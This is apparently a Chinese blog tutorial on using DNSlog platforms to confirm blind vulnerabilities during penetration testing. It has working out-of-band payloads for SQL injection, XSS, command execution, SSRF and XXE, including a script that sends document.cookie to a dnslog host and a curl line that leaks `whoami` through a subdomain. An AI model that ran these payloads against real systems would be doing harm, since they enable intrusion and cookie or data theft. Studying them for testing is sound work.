DNSlog工具是一种用于捕获并记录DNS请求的工具,通常用于渗透测试、漏洞利用和安全研究中。其主要作用是记录目标系统发送的DNS请求,帮助渗透测试人员识别目标网络中的潜在漏洞或攻击行为。

DNS就是将域名解析为IP,用户在浏览器上输入一个域名A.com,就要靠DNS服务器将A.com解析到它的真实IP127.0.0.1,这样就可以访问127.0.0.1服务器上的相应服务。 那么DNSlog是什么。DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。

域名分级与域名解析过程(DNS)

因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。如:pan.baidu.com

它由三个标号组成,com即为顶级域名,baidu为二级域名,pan即为三级域名。且域名不分区大小写。

比如说,我注册了一个joeyhaslet.com的域名,我将它的a记录泛解析到139.x.x.x上,这样就实现了无论我记录值填什么他都有解析,并且都指向139.x.x.x,当我向DNS服务器发起test.joeyhaslet.com的解析请求时,DNSlog中会记录下他给test.joeyhaslet.com解析,解析值为139.x.x.x.

免费的DNSlog平台

http://www.dnslog.cn  
http://admin.dnslog.link  
http://ceye.io  

在本机上实验演示

我们在使用Ping命令的时候会用到DNS进行解析

解析的日志会把%USERNAME%的值给带出来,因为系统在Ping命令之前会将%USERNAME%的值解析出来,然后再和a.com拼接起来,最后Ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的IP地址,这个过程被记录下来就是DNSlog。

原理上只要能进行DNS请求的函数都可能存在DNSlog注入。

DNS缓存可能造成记录不刷新,此时更换新的域名即可。

其它平台同理。

基于DNSlog的漏洞利用指南

DNSlog是一种强大的辅助工具,特别适用于检测无回显漏洞。以下是基于DNSlog的各类盲注测试及其实现方式。

目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNSlog来获取回显

SQL注入中的盲注

场景:在无回显的SQL注入场景中,使用DNSlog检测是否成功触发注入。

测试方法

通过构造SQL注入语句,在数据库中执行DNS请求来验证注入是否成功。

  • MySQL 示例
UNION SELECT LOAD_FILE(CONCAT('\\',(SELECT SLEEP(1)),'.example.dnslog.cn\a'))
  • PostgreSQL 示例
COPY (SELECT '') TO PROGRAM 'nslookup example.dnslog.cn';
说明
  • 语句中使用 LOAD_FILECOPY 或类似函数,引发目标数据库服务端对DNSlog域名的查询。
  • 如果DNSlog平台记录到请求,说明SQL注入成功且可以进一步利用。

XSS盲打

场景:在无法直接观察结果的XSS攻击中,通过DNSlog检测目标是否执行了恶意代码。

测试方法

构造一个XSS载荷,诱使目标浏览器访问恶意DNS域名。

  • 示例代码
<script>
   new Image().src = "http://example.dnslog.cn?cookie=" + document.cookie;
</script>
说明
  • 此代码在目标浏览器执行后,会将用户的Cookie信息发送到指定DNSlog地址。
  • 根据DNSlog记录,确认XSS是否成功触发。

无回显的命令执行

场景:在无法获取命令执行回显的情况下,利用DNSlog判断是否执行了命令。

测试方法

通过命令执行漏洞触发DNS查询。

  • Linux 示例
curl http://`whoami`.example.dnslog.cn
  • Windows 示例
nslookup whoami.example.dnslog.cn
说明
  • DNS查询会将当前用户的名称或其他信息发送到DNSlog服务器。
  • 根据DNSlog记录的子域名,可以判断命令是否被成功执行。

无回显的SSRF

场景:目标系统发出的HTTP请求没有直接的回显,利用DNSlog确认是否成功触发请求。

测试方法

通过SSRF漏洞引导目标服务器访问DNSlog域名。

  • 示例代码
http://example.dnslog.cn
说明
  • 如果SSRF触发,目标服务器会向DNSlog平台发送请求。
  • 结合子域名或路径,可以获取目标内部信息(如内网IP或服务)。

无回显的XXE(Blind XXE)

场景:在XML外部实体注入攻击中,没有直接的漏洞利用回显。

测试方法

通过XXE引入外部实体,使目标系统访问DNSlog。

  • 示例代码
<!DOCTYPE root [
 <!ENTITY % remote SYSTEM "http://example.dnslog.cn">
 %remote;
]>
说明
  • 此代码引导目标XML解析器加载外部实体。
  • 如果DNSlog记录到请求,说明XXE注入成功。
  • 进一步可以尝试通过类似方式读取系统文件或环境变量。

总结

DNSlog是一种非常适合检测无回显漏洞的工具。在不同场景下,通过构造特定的攻击载荷,引导目标系统进行DNS查询,可以有效验证漏洞的存在并获取部分信息。关键点在于:

  • 根据漏洞类型选择合适的DNSlog利用方式。
  • 确保DNSlog域名解析可用,攻击时载荷构造正确。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注